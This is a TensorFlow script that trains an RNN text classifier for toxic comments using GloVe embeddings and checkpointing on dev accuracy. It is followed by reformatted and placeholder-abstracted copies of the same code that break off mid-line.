#! /usr/bin/env python import tensorflow as tf import numpy as np import os import time import datetime import data_helpers from text_rnn import TextRNN from tensorflow.contrib import learn # Parameters # ================================================== # Data loading params flags = tf.app.flags FLAGS = flags.FLAGS # Model Hyperparameters tf.flags.DEFINE_integer("embedding_dim", 100, "Dimensionality of character embedding (default: 100)") tf.flags.DEFINE_float("dropout_keep_prob", 0.5, "Dropout keep probability (default: 0.5)") # Training parameters tf.flags.DEFINE_integer("batch_size", 128, "Batch Size (default: 64)") tf.flags.DEFINE_integer("num_epochs", 100, "Number of training epochs (default: 200)") tf.flags.DEFINE_integer("evaluate_every", 500, "Evaluate model on dev set after this many steps (default: 100)") tf.flags.DEFINE_integer("checkpoint_every", 500, "Save model after this many steps (default: 100)") tf.flags.DEFINE_integer("num_checkpoints", 3, "Number of checkpoints to store (default: 5)") # Misc Parameters tf.flags.DEFINE_boolean("allow_soft_placement", True, "Allow device soft device placement") tf.flags.DEFINE_boolean("log_device_placement", False, "Log placement of ops on devices") # Data Preparation # ================================================== # Load data print("\nLoading train data...") x_train, y_train = data_helpers.load_splitted_data_and_labels('../data/toxic_yes_train.txt', '../data/toxic_no_train.txt') print("x_train length:{0}, y_train shape:{1}".format(len(x_train), y_train.shape)) print(x_train[0], y_train[0]) print("\nLoading dev data...") x_dev, y_dev = data_helpers.load_splitted_data_and_labels('../data/toxic_yes_dev.txt', '../data/toxic_no_dev.txt') print("x_dev length:{0}, y_dev shape:{1}".format(len(x_dev), y_dev.shape)) print(x_dev[-1], y_dev[-1]) x = x_train+x_dev print("x length:{0}".format(len(x))) # Build vocabulary # max_sent_length, sent = max([(len(i.split(" ")),i) for i in x]) # print("Max sent length = {0}".format(max_sent_length)) # print("Sent with max length = {0}".format(sent)) max_sent_length = 80 vocab_processor = learn.preprocessing.VocabularyProcessor(max_sent_length) x = np.array(list(vocab_processor.fit_transform(x))) #x is an iterable, [n_samples, max_sent_length] Word-id matrix. print("Shape of word-id matrix: {0}".format(x.shape)) #Transform x_train and x_dev to word-id matrix x_train = np.array(list(vocab_processor.transform(x_train))) print("Shape of x_train matrix: {0}".format(x_train.shape)) x_dev = np.array(list(vocab_processor.transform(x_dev))) print("Shape of x_dev matrix: {0}".format(x_dev.shape)) # Randomly shuffle data np.random.seed(10) shuffle_indices = np.random.permutation(np.arange(len(y_train))) x_train = x_train[shuffle_indices] y_train = y_train[shuffle_indices] del x vocabsize = len(vocab_processor.vocabulary_) print("Vocabulary Size: {:d}".format(vocabsize)) # Training # ================================================== with tf.Graph().as_default(): session_conf = tf.ConfigProto( allow_soft_placement=FLAGS.allow_soft_placement, log_device_placement=FLAGS.log_device_placement) sess = tf.Session(config=session_conf) with sess.as_default(): rnn = TextRNN( sequence_length=x_train.shape[1], num_classes=y_train.shape[1], vocab_size=vocabsize, embedding_size=FLAGS.embedding_dim) # Define Training procedure global_step = tf.Variable(0, name="global_step", trainable=False) optimizer = tf.train.AdamOptimizer(1e-3) grads_and_vars = optimizer.compute_gradients(rnn.loss) train_op = optimizer.apply_gradients(grads_and_vars, global_step=global_step) # Keep track of gradient values and sparsity (optional) grad_summaries = [] for g, v in grads_and_vars: if g is not None: grad_hist_summary = tf.summary.histogram("{}/grad/hist".format(v.name), g) sparsity_summary = tf.summary.scalar("{}/grad/sparsity".format(v.name), tf.nn.zero_fraction(g)) grad_summaries.append(grad_hist_summary) grad_summaries.append(sparsity_summary) grad_summaries_merged = tf.summary.merge(grad_summaries) # Output directory for models and summaries # timestamp = str(int(time.time())) # out_dir = os.path.abspath(os.path.join(os.path.curdir, "runs", timestamp)) out_dir = os.path.abspath(os.path.join(os.path.curdir, "runs")) print("Writing to {}\n".format(out_dir)) # Summaries for loss and accuracy loss_summary = tf.summary.scalar("loss", rnn.loss) acc_summary = tf.summary.scalar("accuracy", rnn.accuracy) # Train Summaries train_summary_op = tf.summary.merge([loss_summary, acc_summary, grad_summaries_merged]) train_summary_dir = os.path.join(out_dir, "summaries", "train") train_summary_writer = tf.summary.FileWriter(train_summary_dir, sess.graph) # Dev summaries dev_summary_op = tf.summary.merge([loss_summary, acc_summary]) dev_summary_dir = os.path.join(out_dir, "summaries", "dev") dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph) # Checkpoint directory. Tensorflow assumes this directory already exists so we need to create it checkpoint_dir = os.path.abspath(os.path.join(out_dir, "checkpoints")) checkpoint_prefix = os.path.join(checkpoint_dir, "model") if not os.path.exists(checkpoint_dir): os.makedirs(checkpoint_dir) saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.num_checkpoints) # Write vocabulary vocab_processor.save(os.path.join(out_dir, "vocab")) # Initialize all variables sess.run(tf.global_variables_initializer()) vocabulary = vocab_processor.vocabulary_ initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary) sess.run(rnn.W_embed.assign(initEmbeddings)) for v in tf.trainable_variables(): print(v.name) def train_step(x_batch, y_batch): """ A single training step """ feed_dict = { rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.dropout_keep_prob: FLAGS.dropout_keep_prob } _, step, summaries, loss, accuracy = sess.run( [train_op, global_step, train_summary_op, rnn.loss, rnn.accuracy], feed_dict) time_str = datetime.datetime.now().isoformat() # print("{}: step {}, loss {:g}, acc {:g}".format(time_str, step, loss, accuracy)) train_summary_writer.add_summary(summaries, step) return loss,accuracy def dev_step(x_batch, y_batch, writer=None): """ Evaluates model on a dev set """ feed_dict = { rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.dropout_keep_prob: 1.0 } step, summaries, loss, accuracy = sess.run( [global_step, dev_summary_op, rnn.loss, rnn.accuracy], feed_dict) time_str = datetime.datetime.now().isoformat() print("{}: step {}, loss {:g}, acc {:g}".format(time_str, step, loss, accuracy)) if writer: writer.add_summary(summaries, step) return accuracy # Create batches agnostic of class distributions batches = data_helpers.batch_iter(list(zip(x_train, y_train)), FLAGS.batch_size, FLAGS.num_epochs) # Create batches aware of imbalance in class distributions # batches = data_helpers.makeBatches(x_train, y_train[:,1].tolist(), FLAGS.batch_size, FLAGS.num_epochs) # Training loop. For each batch... prev_val_acc = 0 for batch in batches: x_batch, y_batch = zip(*batch) train_loss, train_acc = train_step(x_batch, y_batch) current_step = tf.train.global_step(sess, global_step) if current_step % FLAGS.evaluate_every == 0: print("\nTrain loss:{0}, Train accuracy:{1}".format(train_loss, train_acc)) print("Evaluation:") val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer) if val_acc > 0.95 and val_acc > prev_val_acc: save_path = saver.save(sess, checkpoint_prefix, global_step=current_step) print("Model checkpoint saved at {0}, accuracy={1}".format(save_path, round(val_acc, 3))) prev_val_acc = val_acc print("")
[ "#! /usr/bin/env python\n\nimport tensorflow as tf\nimport numpy as np\nimport os\nimport time\nimport datetime\nimport data_helpers\nfrom text_rnn import TextRNN\nfrom tensorflow.contrib import learn\n\n\n# Parameters\n# ==================================================\n\n# Data loading params\nflags = tf.app.flags\nFLAGS = flags.FLAGS\n\n\n# Model Hyperparameters\ntf.flags.DEFINE_integer(\"embedding_dim\", 100, \"Dimensionality of character embedding (default: 100)\")\ntf.flags.DEFINE_float(\"dropout_keep_prob\", 0.5, \"Dropout keep probability (default: 0.5)\")\n\n# Training parameters\ntf.flags.DEFINE_integer(\"batch_size\", 128, \"Batch Size (default: 64)\")\ntf.flags.DEFINE_integer(\"num_epochs\", 100, \"Number of training epochs (default: 200)\")\ntf.flags.DEFINE_integer(\"evaluate_every\", 500, \"Evaluate model on dev set after this many steps (default: 100)\")\ntf.flags.DEFINE_integer(\"checkpoint_every\", 500, \"Save model after this many steps (default: 100)\")\ntf.flags.DEFINE_integer(\"num_checkpoints\", 3, \"Number of checkpoints to store (default: 5)\")\n\n# Misc Parameters\ntf.flags.DEFINE_boolean(\"allow_soft_placement\", True, \"Allow device soft device placement\")\ntf.flags.DEFINE_boolean(\"log_device_placement\", False, \"Log placement of ops on devices\")\n\n\n# Data Preparation\n# ==================================================\n# Load data\nprint(\"\\nLoading train data...\")\nx_train, y_train = data_helpers.load_splitted_data_and_labels('../data/toxic_yes_train.txt', '../data/toxic_no_train.txt')\nprint(\"x_train length:{0}, y_train shape:{1}\".format(len(x_train), y_train.shape))\nprint(x_train[0], y_train[0])\n\nprint(\"\\nLoading dev data...\")\nx_dev, y_dev = data_helpers.load_splitted_data_and_labels('../data/toxic_yes_dev.txt', '../data/toxic_no_dev.txt')\nprint(\"x_dev length:{0}, y_dev shape:{1}\".format(len(x_dev), y_dev.shape))\nprint(x_dev[-1], y_dev[-1])\n\nx = x_train+x_dev\nprint(\"x length:{0}\".format(len(x)))\n\n# Build vocabulary\n# max_sent_length, sent = max([(len(i.split(\" \")),i) for i in x])\n# print(\"Max sent length = {0}\".format(max_sent_length))\n# print(\"Sent with max length = {0}\".format(sent))\nmax_sent_length = 80\nvocab_processor = learn.preprocessing.VocabularyProcessor(max_sent_length)\nx = np.array(list(vocab_processor.fit_transform(x))) #x is an iterable, [n_samples, max_sent_length] Word-id matrix.\nprint(\"Shape of word-id matrix: {0}\".format(x.shape))\n\n#Transform x_train and x_dev to word-id matrix\nx_train = np.array(list(vocab_processor.transform(x_train)))\nprint(\"Shape of x_train matrix: {0}\".format(x_train.shape))\nx_dev = np.array(list(vocab_processor.transform(x_dev)))\nprint(\"Shape of x_dev matrix: {0}\".format(x_dev.shape))\n\n# Randomly shuffle data\nnp.random.seed(10)\nshuffle_indices = np.random.permutation(np.arange(len(y_train)))\nx_train = x_train[shuffle_indices]\ny_train = y_train[shuffle_indices]\n\ndel x\n\nvocabsize = len(vocab_processor.vocabulary_)\nprint(\"Vocabulary Size: {:d}\".format(vocabsize))\n\n# Training\n# ==================================================\n\nwith tf.Graph().as_default():\n session_conf = tf.ConfigProto(\n allow_soft_placement=FLAGS.allow_soft_placement,\n log_device_placement=FLAGS.log_device_placement)\n sess = tf.Session(config=session_conf)\n with sess.as_default():\n rnn = TextRNN(\n sequence_length=x_train.shape[1],\n num_classes=y_train.shape[1],\n vocab_size=vocabsize,\n embedding_size=FLAGS.embedding_dim)\n\n # Define Training procedure\n global_step = tf.Variable(0, name=\"global_step\", trainable=False)\n optimizer = tf.train.AdamOptimizer(1e-3)\n grads_and_vars = optimizer.compute_gradients(rnn.loss)\n train_op = optimizer.apply_gradients(grads_and_vars, global_step=global_step)\n\n # Keep track of gradient values and sparsity (optional)\n grad_summaries = []\n for g, v in grads_and_vars:\n if g is not None:\n grad_hist_summary = tf.summary.histogram(\"{}/grad/hist\".format(v.name), g)\n sparsity_summary = tf.summary.scalar(\"{}/grad/sparsity\".format(v.name), tf.nn.zero_fraction(g))\n grad_summaries.append(grad_hist_summary)\n grad_summaries.append(sparsity_summary)\n grad_summaries_merged = tf.summary.merge(grad_summaries)\n\n # Output directory for models and summaries\n # timestamp = str(int(time.time()))\n # out_dir = os.path.abspath(os.path.join(os.path.curdir, \"runs\", timestamp))\n out_dir = os.path.abspath(os.path.join(os.path.curdir, \"runs\"))\n print(\"Writing to {}\\n\".format(out_dir))\n\n # Summaries for loss and accuracy\n loss_summary = tf.summary.scalar(\"loss\", rnn.loss)\n acc_summary = tf.summary.scalar(\"accuracy\", rnn.accuracy)\n\n # Train Summaries\n train_summary_op = tf.summary.merge([loss_summary, acc_summary, grad_summaries_merged])\n train_summary_dir = os.path.join(out_dir, \"summaries\", \"train\")\n train_summary_writer = tf.summary.FileWriter(train_summary_dir, sess.graph)\n\n # Dev summaries\n dev_summary_op = tf.summary.merge([loss_summary, acc_summary])\n dev_summary_dir = os.path.join(out_dir, \"summaries\", \"dev\")\n dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)\n\n # Checkpoint directory. Tensorflow assumes this directory already exists so we need to create it\n checkpoint_dir = os.path.abspath(os.path.join(out_dir, \"checkpoints\"))\n checkpoint_prefix = os.path.join(checkpoint_dir, \"model\")\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.num_checkpoints)\n\n # Write vocabulary\n vocab_processor.save(os.path.join(out_dir, \"vocab\"))\n\n # Initialize all variables\n sess.run(tf.global_variables_initializer())\n\n vocabulary = vocab_processor.vocabulary_\n initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary)\n sess.run(rnn.W_embed.assign(initEmbeddings))\n\n for v in tf.trainable_variables():\n print(v.name)\n\n def train_step(x_batch, y_batch):\n \"\"\"\n A single training step\n \"\"\"\n feed_dict = {\n rnn.input_x: x_batch,\n rnn.input_y: y_batch,\n rnn.dropout_keep_prob: FLAGS.dropout_keep_prob\n }\n _, step, summaries, loss, accuracy = sess.run(\n [train_op, global_step, train_summary_op, rnn.loss, rnn.accuracy],\n feed_dict)\n time_str = datetime.datetime.now().isoformat()\n # print(\"{}: step {}, loss {:g}, acc {:g}\".format(time_str, step, loss, accuracy))\n train_summary_writer.add_summary(summaries, step)\n\n return loss,accuracy\n\n def dev_step(x_batch, y_batch, writer=None):\n \"\"\"\n Evaluates model on a dev set\n \"\"\"\n feed_dict = {\n rnn.input_x: x_batch,\n rnn.input_y: y_batch,\n rnn.dropout_keep_prob: 1.0\n }\n step, summaries, loss, accuracy = sess.run(\n [global_step, dev_summary_op, rnn.loss, rnn.accuracy],\n feed_dict)\n time_str = datetime.datetime.now().isoformat()\n print(\"{}: step {}, loss {:g}, acc {:g}\".format(time_str, step, loss, accuracy))\n if writer:\n writer.add_summary(summaries, step)\n\n return accuracy\n\n # Create batches agnostic of class distributions\n batches = data_helpers.batch_iter(list(zip(x_train, y_train)), FLAGS.batch_size, FLAGS.num_epochs)\n\n # Create batches aware of imbalance in class distributions\n # batches = data_helpers.makeBatches(x_train, y_train[:,1].tolist(), FLAGS.batch_size, FLAGS.num_epochs)\n\n # Training loop. For each batch...\n prev_val_acc = 0\n for batch in batches:\n x_batch, y_batch = zip(*batch)\n train_loss, train_acc = train_step(x_batch, y_batch)\n current_step = tf.train.global_step(sess, global_step)\n if current_step % FLAGS.evaluate_every == 0:\n print(\"\\nTrain loss:{0}, Train accuracy:{1}\".format(train_loss, train_acc))\n print(\"Evaluation:\")\n val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer)\n if val_acc > 0.95 and val_acc > prev_val_acc:\n save_path = saver.save(sess, checkpoint_prefix, global_step=current_step)\n print(\"Model checkpoint saved at {0}, accuracy={1}\".format(save_path, round(val_acc, 3)))\n prev_val_acc = val_acc\n\n print(\"\")", "import tensorflow as tf\nimport numpy as np\nimport os\nimport time\nimport datetime\nimport data_helpers\nfrom text_rnn import TextRNN\nfrom tensorflow.contrib import learn\nflags = tf.app.flags\nFLAGS = flags.FLAGS\ntf.flags.DEFINE_integer('embedding_dim', 100,\n 'Dimensionality of character embedding (default: 100)')\ntf.flags.DEFINE_float('dropout_keep_prob', 0.5,\n 'Dropout keep probability (default: 0.5)')\ntf.flags.DEFINE_integer('batch_size', 128, 'Batch Size (default: 64)')\ntf.flags.DEFINE_integer('num_epochs', 100,\n 'Number of training epochs (default: 200)')\ntf.flags.DEFINE_integer('evaluate_every', 500,\n 'Evaluate model on dev set after this many steps (default: 100)')\ntf.flags.DEFINE_integer('checkpoint_every', 500,\n 'Save model after this many steps (default: 100)')\ntf.flags.DEFINE_integer('num_checkpoints', 3,\n 'Number of checkpoints to store (default: 5)')\ntf.flags.DEFINE_boolean('allow_soft_placement', True,\n 'Allow device soft device placement')\ntf.flags.DEFINE_boolean('log_device_placement', False,\n 'Log placement of ops on devices')\nprint(\"\"\"\nLoading train data...\"\"\")\nx_train, y_train = data_helpers.load_splitted_data_and_labels(\n '../data/toxic_yes_train.txt', '../data/toxic_no_train.txt')\nprint('x_train length:{0}, y_train shape:{1}'.format(len(x_train), y_train.\n shape))\nprint(x_train[0], y_train[0])\nprint(\"\"\"\nLoading dev data...\"\"\")\nx_dev, y_dev = data_helpers.load_splitted_data_and_labels(\n '../data/toxic_yes_dev.txt', '../data/toxic_no_dev.txt')\nprint('x_dev length:{0}, y_dev shape:{1}'.format(len(x_dev), y_dev.shape))\nprint(x_dev[-1], y_dev[-1])\nx = x_train + x_dev\nprint('x length:{0}'.format(len(x)))\nmax_sent_length = 80\nvocab_processor = learn.preprocessing.VocabularyProcessor(max_sent_length)\nx = np.array(list(vocab_processor.fit_transform(x)))\nprint('Shape of word-id matrix: {0}'.format(x.shape))\nx_train = np.array(list(vocab_processor.transform(x_train)))\nprint('Shape of x_train matrix: {0}'.format(x_train.shape))\nx_dev = np.array(list(vocab_processor.transform(x_dev)))\nprint('Shape of x_dev matrix: {0}'.format(x_dev.shape))\nnp.random.seed(10)\nshuffle_indices = np.random.permutation(np.arange(len(y_train)))\nx_train = x_train[shuffle_indices]\ny_train = y_train[shuffle_indices]\ndel x\nvocabsize = len(vocab_processor.vocabulary_)\nprint('Vocabulary Size: {:d}'.format(vocabsize))\nwith tf.Graph().as_default():\n session_conf = tf.ConfigProto(allow_soft_placement=FLAGS.\n allow_soft_placement, log_device_placement=FLAGS.log_device_placement)\n sess = tf.Session(config=session_conf)\n with sess.as_default():\n rnn = TextRNN(sequence_length=x_train.shape[1], num_classes=y_train\n .shape[1], vocab_size=vocabsize, embedding_size=FLAGS.embedding_dim\n )\n global_step = tf.Variable(0, name='global_step', trainable=False)\n optimizer = tf.train.AdamOptimizer(0.001)\n grads_and_vars = optimizer.compute_gradients(rnn.loss)\n train_op = optimizer.apply_gradients(grads_and_vars, global_step=\n global_step)\n grad_summaries = []\n for g, v in grads_and_vars:\n if g is not None:\n grad_hist_summary = tf.summary.histogram('{}/grad/hist'.\n format(v.name), g)\n sparsity_summary = tf.summary.scalar('{}/grad/sparsity'.\n format(v.name), tf.nn.zero_fraction(g))\n grad_summaries.append(grad_hist_summary)\n grad_summaries.append(sparsity_summary)\n grad_summaries_merged = tf.summary.merge(grad_summaries)\n out_dir = os.path.abspath(os.path.join(os.path.curdir, 'runs'))\n print('Writing to {}\\n'.format(out_dir))\n loss_summary = tf.summary.scalar('loss', rnn.loss)\n acc_summary = tf.summary.scalar('accuracy', rnn.accuracy)\n train_summary_op = tf.summary.merge([loss_summary, acc_summary,\n grad_summaries_merged])\n train_summary_dir = os.path.join(out_dir, 'summaries', 'train')\n train_summary_writer = tf.summary.FileWriter(train_summary_dir,\n sess.graph)\n dev_summary_op = tf.summary.merge([loss_summary, acc_summary])\n dev_summary_dir = os.path.join(out_dir, 'summaries', 'dev')\n dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)\n checkpoint_dir = os.path.abspath(os.path.join(out_dir, 'checkpoints'))\n checkpoint_prefix = os.path.join(checkpoint_dir, 'model')\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.\n num_checkpoints)\n vocab_processor.save(os.path.join(out_dir, 'vocab'))\n sess.run(tf.global_variables_initializer())\n vocabulary = vocab_processor.vocabulary_\n initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary)\n sess.run(rnn.W_embed.assign(initEmbeddings))\n for v in tf.trainable_variables():\n print(v.name)\n\n def train_step(x_batch, y_batch):\n \"\"\"\n A single training step\n \"\"\"\n feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.\n dropout_keep_prob: FLAGS.dropout_keep_prob}\n _, step, summaries, loss, accuracy = sess.run([train_op,\n global_step, train_summary_op, rnn.loss, rnn.accuracy],\n feed_dict)\n time_str = datetime.datetime.now().isoformat()\n train_summary_writer.add_summary(summaries, step)\n return loss, accuracy\n\n def dev_step(x_batch, y_batch, writer=None):\n \"\"\"\n Evaluates model on a dev set\n \"\"\"\n feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.\n dropout_keep_prob: 1.0}\n step, summaries, loss, accuracy = sess.run([global_step,\n dev_summary_op, rnn.loss, rnn.accuracy], feed_dict)\n time_str = datetime.datetime.now().isoformat()\n print('{}: step {}, loss {:g}, acc {:g}'.format(time_str, step,\n loss, accuracy))\n if writer:\n writer.add_summary(summaries, step)\n return accuracy\n batches = data_helpers.batch_iter(list(zip(x_train, y_train)),\n FLAGS.batch_size, FLAGS.num_epochs)\n prev_val_acc = 0\n for batch in batches:\n x_batch, y_batch = zip(*batch)\n train_loss, train_acc = train_step(x_batch, y_batch)\n current_step = tf.train.global_step(sess, global_step)\n if current_step % FLAGS.evaluate_every == 0:\n print('\\nTrain loss:{0}, Train accuracy:{1}'.format(\n train_loss, train_acc))\n print('Evaluation:')\n val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer)\n if val_acc > 0.95 and val_acc > prev_val_acc:\n save_path = saver.save(sess, checkpoint_prefix,\n global_step=current_step)\n print('Model checkpoint saved at {0}, accuracy={1}'.\n format(save_path, round(val_acc, 3)))\n prev_val_acc = val_acc\n print('')\n", "<import token>\nflags = tf.app.flags\nFLAGS = flags.FLAGS\ntf.flags.DEFINE_integer('embedding_dim', 100,\n 'Dimensionality of character embedding (default: 100)')\ntf.flags.DEFINE_float('dropout_keep_prob', 0.5,\n 'Dropout keep probability (default: 0.5)')\ntf.flags.DEFINE_integer('batch_size', 128, 'Batch Size (default: 64)')\ntf.flags.DEFINE_integer('num_epochs', 100,\n 'Number of training epochs (default: 200)')\ntf.flags.DEFINE_integer('evaluate_every', 500,\n 'Evaluate model on dev set after this many steps (default: 100)')\ntf.flags.DEFINE_integer('checkpoint_every', 500,\n 'Save model after this many steps (default: 100)')\ntf.flags.DEFINE_integer('num_checkpoints', 3,\n 'Number of checkpoints to store (default: 5)')\ntf.flags.DEFINE_boolean('allow_soft_placement', True,\n 'Allow device soft device placement')\ntf.flags.DEFINE_boolean('log_device_placement', False,\n 'Log placement of ops on devices')\nprint(\"\"\"\nLoading train data...\"\"\")\nx_train, y_train = data_helpers.load_splitted_data_and_labels(\n '../data/toxic_yes_train.txt', '../data/toxic_no_train.txt')\nprint('x_train length:{0}, y_train shape:{1}'.format(len(x_train), y_train.\n shape))\nprint(x_train[0], y_train[0])\nprint(\"\"\"\nLoading dev data...\"\"\")\nx_dev, y_dev = data_helpers.load_splitted_data_and_labels(\n '../data/toxic_yes_dev.txt', '../data/toxic_no_dev.txt')\nprint('x_dev length:{0}, y_dev shape:{1}'.format(len(x_dev), y_dev.shape))\nprint(x_dev[-1], y_dev[-1])\nx = x_train + x_dev\nprint('x length:{0}'.format(len(x)))\nmax_sent_length = 80\nvocab_processor = learn.preprocessing.VocabularyProcessor(max_sent_length)\nx = np.array(list(vocab_processor.fit_transform(x)))\nprint('Shape of word-id matrix: {0}'.format(x.shape))\nx_train = np.array(list(vocab_processor.transform(x_train)))\nprint('Shape of x_train matrix: {0}'.format(x_train.shape))\nx_dev = np.array(list(vocab_processor.transform(x_dev)))\nprint('Shape of x_dev matrix: {0}'.format(x_dev.shape))\nnp.random.seed(10)\nshuffle_indices = np.random.permutation(np.arange(len(y_train)))\nx_train = x_train[shuffle_indices]\ny_train = y_train[shuffle_indices]\ndel x\nvocabsize = len(vocab_processor.vocabulary_)\nprint('Vocabulary Size: {:d}'.format(vocabsize))\nwith tf.Graph().as_default():\n session_conf = tf.ConfigProto(allow_soft_placement=FLAGS.\n allow_soft_placement, log_device_placement=FLAGS.log_device_placement)\n sess = tf.Session(config=session_conf)\n with sess.as_default():\n rnn = TextRNN(sequence_length=x_train.shape[1], num_classes=y_train\n .shape[1], vocab_size=vocabsize, embedding_size=FLAGS.embedding_dim\n )\n global_step = tf.Variable(0, name='global_step', trainable=False)\n optimizer = tf.train.AdamOptimizer(0.001)\n grads_and_vars = optimizer.compute_gradients(rnn.loss)\n train_op = optimizer.apply_gradients(grads_and_vars, global_step=\n global_step)\n grad_summaries = []\n for g, v in grads_and_vars:\n if g is not None:\n grad_hist_summary = tf.summary.histogram('{}/grad/hist'.\n format(v.name), g)\n sparsity_summary = tf.summary.scalar('{}/grad/sparsity'.\n format(v.name), tf.nn.zero_fraction(g))\n grad_summaries.append(grad_hist_summary)\n grad_summaries.append(sparsity_summary)\n grad_summaries_merged = tf.summary.merge(grad_summaries)\n out_dir = os.path.abspath(os.path.join(os.path.curdir, 'runs'))\n print('Writing to {}\\n'.format(out_dir))\n loss_summary = tf.summary.scalar('loss', rnn.loss)\n acc_summary = tf.summary.scalar('accuracy', rnn.accuracy)\n train_summary_op = tf.summary.merge([loss_summary, acc_summary,\n grad_summaries_merged])\n train_summary_dir = os.path.join(out_dir, 'summaries', 'train')\n train_summary_writer = tf.summary.FileWriter(train_summary_dir,\n sess.graph)\n dev_summary_op = tf.summary.merge([loss_summary, acc_summary])\n dev_summary_dir = os.path.join(out_dir, 'summaries', 'dev')\n dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)\n checkpoint_dir = os.path.abspath(os.path.join(out_dir, 'checkpoints'))\n checkpoint_prefix = os.path.join(checkpoint_dir, 'model')\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.\n num_checkpoints)\n vocab_processor.save(os.path.join(out_dir, 'vocab'))\n sess.run(tf.global_variables_initializer())\n vocabulary = vocab_processor.vocabulary_\n initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary)\n sess.run(rnn.W_embed.assign(initEmbeddings))\n for v in tf.trainable_variables():\n print(v.name)\n\n def train_step(x_batch, y_batch):\n \"\"\"\n A single training step\n \"\"\"\n feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.\n dropout_keep_prob: FLAGS.dropout_keep_prob}\n _, step, summaries, loss, accuracy = sess.run([train_op,\n global_step, train_summary_op, rnn.loss, rnn.accuracy],\n feed_dict)\n time_str = datetime.datetime.now().isoformat()\n train_summary_writer.add_summary(summaries, step)\n return loss, accuracy\n\n def dev_step(x_batch, y_batch, writer=None):\n \"\"\"\n Evaluates model on a dev set\n \"\"\"\n feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.\n dropout_keep_prob: 1.0}\n step, summaries, loss, accuracy = sess.run([global_step,\n dev_summary_op, rnn.loss, rnn.accuracy], feed_dict)\n time_str = datetime.datetime.now().isoformat()\n print('{}: step {}, loss {:g}, acc {:g}'.format(time_str, step,\n loss, accuracy))\n if writer:\n writer.add_summary(summaries, step)\n return accuracy\n batches = data_helpers.batch_iter(list(zip(x_train, y_train)),\n FLAGS.batch_size, FLAGS.num_epochs)\n prev_val_acc = 0\n for batch in batches:\n x_batch, y_batch = zip(*batch)\n train_loss, train_acc = train_step(x_batch, y_batch)\n current_step = tf.train.global_step(sess, global_step)\n if current_step % FLAGS.evaluate_every == 0:\n print('\\nTrain loss:{0}, Train accuracy:{1}'.format(\n train_loss, train_acc))\n print('Evaluation:')\n val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer)\n if val_acc > 0.95 and val_acc > prev_val_acc:\n save_path = saver.save(sess, checkpoint_prefix,\n global_step=current_step)\n print('Model checkpoint saved at {0}, accuracy={1}'.\n format(save_path, round(val_acc, 3)))\n prev_val_acc = val_acc\n print('')\n", "<import token>\n<assignment token>\ntf.flags.DEFINE_integer('embedding_dim', 100,\n 'Dimensionality of character embedding (default: 100)')\ntf.flags.DEFINE_float('dropout_keep_prob', 0.5,\n 'Dropout keep probability (default: 0.5)')\ntf.flags.DEFINE_integer('batch_size', 128, 'Batch Size (default: 64)')\ntf.flags.DEFINE_integer('num_epochs', 100,\n 'Number of training epochs (default: 200)')\ntf.flags.DEFINE_integer('evaluate_every', 500,\n 'Evaluate model on dev set after this many steps (default: 100)')\ntf.flags.DEFINE_integer('checkpoint_every', 500,\n 'Save model after this many steps (default: 100)')\ntf.flags.DEFINE_integer('num_checkpoints', 3,\n 'Number of checkpoints to store (default: 5)')\ntf.flags.DEFINE_boolean('allow_soft_placement', True,\n 'Allow device soft device placement')\ntf.flags.DEFINE_boolean('log_device_placement', False,\n 'Log placement of ops on devices')\nprint(\"\"\"\nLoading train data...\"\"\")\n<assignment token>\nprint('x_train length:{0}, y_train shape:{1}'.format(len(x_train), y_train.\n shape))\nprint(x_train[0], y_train[0])\nprint(\"\"\"\nLoading dev data...\"\"\")\n<assignment token>\nprint('x_dev length:{0}, y_dev shape:{1}'.format(len(x_dev), y_dev.shape))\nprint(x_dev[-1], y_dev[-1])\n<assignment token>\nprint('x length:{0}'.format(len(x)))\n<assignment token>\nprint('Shape of word-id matrix: {0}'.format(x.shape))\n<assignment token>\nprint('Shape of x_train matrix: {0}'.format(x_train.shape))\n<assignment token>\nprint('Shape of x_dev matrix: {0}'.format(x_dev.shape))\nnp.random.seed(10)\n<assignment token>\ndel x\n<assignment token>\nprint('Vocabulary Size: {:d}'.format(vocabsize))\nwith tf.Graph().as_default():\n session_conf = tf.ConfigProto(allow_soft_placement=FLAGS.\n allow_soft_placement, log_device_placement=FLAGS.log_device_placement)\n sess = tf.Session(config=session_conf)\n with sess.as_default():\n rnn = TextRNN(sequence_length=x_train.shape[1], num_classes=y_train\n .shape[1], vocab_size=vocabsize, embedding_size=FLAGS.embedding_dim\n )\n global_step = tf.Variable(0, name='global_step', trainable=False)\n optimizer = tf.train.AdamOptimizer(0.001)\n grads_and_vars = optimizer.compute_gradients(rnn.loss)\n train_op = optimizer.apply_gradients(grads_and_vars, global_step=\n global_step)\n grad_summaries = []\n for g, v in grads_and_vars:\n if g is not None:\n grad_hist_summary = tf.summary.histogram('{}/grad/hist'.\n format(v.name), g)\n sparsity_summary = tf.summary.scalar('{}/grad/sparsity'.\n format(v.name), tf.nn.zero_fraction(g))\n grad_summaries.append(grad_hist_summary)\n grad_summaries.append(sparsity_summary)\n grad_summaries_merged = tf.summary.merge(grad_summaries)\n out_dir = 